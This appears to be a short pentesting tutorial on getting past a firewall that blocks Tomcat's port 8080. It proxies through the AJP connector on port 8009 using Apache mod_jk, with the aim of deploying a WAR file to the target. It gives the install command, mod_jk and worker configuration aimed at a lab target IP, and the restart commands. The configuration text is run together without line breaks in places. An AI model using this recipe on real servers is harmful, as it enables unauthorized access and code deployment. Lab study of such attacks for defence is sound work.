How could I exploit on Tomcat with AJP protocol

Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.

My experiment environment:
192.168.0.102   Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103   BT 5 for pentesting

First, we used nmap to portscan and our tests show that port 8009 was open on
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk

My jk.conf of the configuration:

root@mickey:/etc/apache2/mods-available# cat jk.conf# Update this path to match your conf directory locationJkWorkersFile /etc/apache2/jk_workers.properties# Where to put jk logs# Update this path to match your logs directory locationJkLogFile /var/log/apache2/mod_jk.log# Set the jk log level [debug/error/info]JkLogLevel info# Select the log formatJkLogStampFormat "[%a %b %d %H:%M:%S %Y]"# JkOptions indicate to send SSL KEY SIZE,JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories# JkRequestLogFormat set the request formatJkRequestLogFormat "%w %V %T"# Shm log fileJkShmFile /var/log/apache2/jk-runtime-statusCreate a link with ln command to /etc/apache2/mods-enabled/:ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.confConfigure jk_workers.properties as below:root@mickey:/etc/apache2# cat jk_workers.propertiesworker.list=ajp13# Set properties for worker named ajp13 to use ajp13 protocol,# and run on port 8009worker.ajp13.type=ajp13worker.ajp13.host=192.168.0.102 </---|Here is target ip addressworker.ajp13.port=8009worker.ajp13.lbfactor=50worker.ajp13.cachesize=10worker.ajp13.cache_timeout=600worker.ajp13.socket_keepalive=1worker.ajp13.socket_timeout=300

Default websites configuration:(as configure in /etc/apache2/sites-enabled/000-default )

Restart apache:

sudo a2enmod proxy_ajpsudo a2enmod proxy_httpsudo /etc/init.d/apache2 restart

We have configured mod_jk of the module, then browse on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009,  Now, we can deploy WAR file.
